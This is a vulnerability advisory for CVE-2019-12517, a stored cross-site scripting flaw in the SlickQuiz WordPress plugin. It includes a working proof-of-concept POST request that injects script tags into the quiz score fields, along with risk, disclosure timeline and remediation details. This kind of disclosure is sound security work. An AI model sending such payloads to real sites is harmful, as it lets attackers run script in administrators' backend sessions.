Share
RCE Security Advisory  
https://www.rcesecurity.com  
  
  
1. ADVISORY INFORMATION  
=======================  
Product: SlickQuiz  
Vendor URL: https://wordpress.org/plugins/slickquiz/  
Type: Cross-Site Scripting [CWE-79]  
Date found: 2019-05-30  
Date published: 2019-09-10  
CVSSv3 Score: 6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)  
CVE: CVE-2019-12517  
  
  
2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.  
  
  
3. VERSIONS AFFECTED  
====================  
SlickQuiz for Wordpress 1.3.7.1 (latest)  
  
  
4. INTRODUCTION  
===============  
SlickQuiz is a plugin for displaying and managing pretty, dynamic quizzes. It  
uses the SlickQuiz jQuery plugin.  
  
(from the vendor's homepage)  
  
  
5. VULNERABILITY DETAILS  
========================  
The "save_quiz_score" functionality available to unauthenticated users via the  
Wordpress "/wp-admin/admin-ajax.php" endpoint allows unauthenticated users to  
submit quiz solutions/answers. If the configuration option "Save user scores"  
is enabled (disabled by default), the response is stored in the database and  
later shown in the Wordpress backend for all users with at least Subscriber  
rights.  
  
However, since the plugin does not properly validate and sanitize the quiz  
response, a malicious XSS payload in either the name, the email or the score  
parameter like:  
  
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0)  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 181  
DNT: 1  
Connection: close  
  
action=save_quiz_score&json={"name":"Na<script>alert(document.domain)</script>  
me","email":"info@local<script>alert(document.domain)</script>host",  
"score":"<script>alert(document.domain)</script>","quiz_id":1}  
  
is executed directly within the backend at "/wp-admin/admin.php?page=slickquiz"  
across all users with the privileges of at least subscriber and up to admin.  
  
  
6. RISK  
=======  
To successfully exploit this vulnerability an authenticated user must be tricked  
into visiting the SlickQuiz administrative backend on the affected Wordpress  
installation.  
  
The vulnerability can be used to permanently embed arbitrary script code into the  
administrative Wordpress backend, which offers a wide range of possible  
attacks such as redirecting the user to a malicious page, spoofing content on the  
page or attacking the browser and its plugins.  
  
  
7. SOLUTION  
===========  
None (Remove the plugin)  
  
  
8. REPORT TIMELINE  
==================  
2019-05-30: Discovery of the vulnerability during H1-4420  
2019-06-01: CVE requested from MITRE  
2019-06-02: MITRE assigns CVE-2019-12517  
2019-06-10: Contacted vendor using their publicly listed email address  
2019-06-19: Contacted vendor using their publicly listed email address  
2019-06-22: Contacted vendor using their publicly listed email address  
2019-08-28: No response from vendor.  
2019-09-10: Public disclosure.  
  
  
9. REFERENCES  
=============  
https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/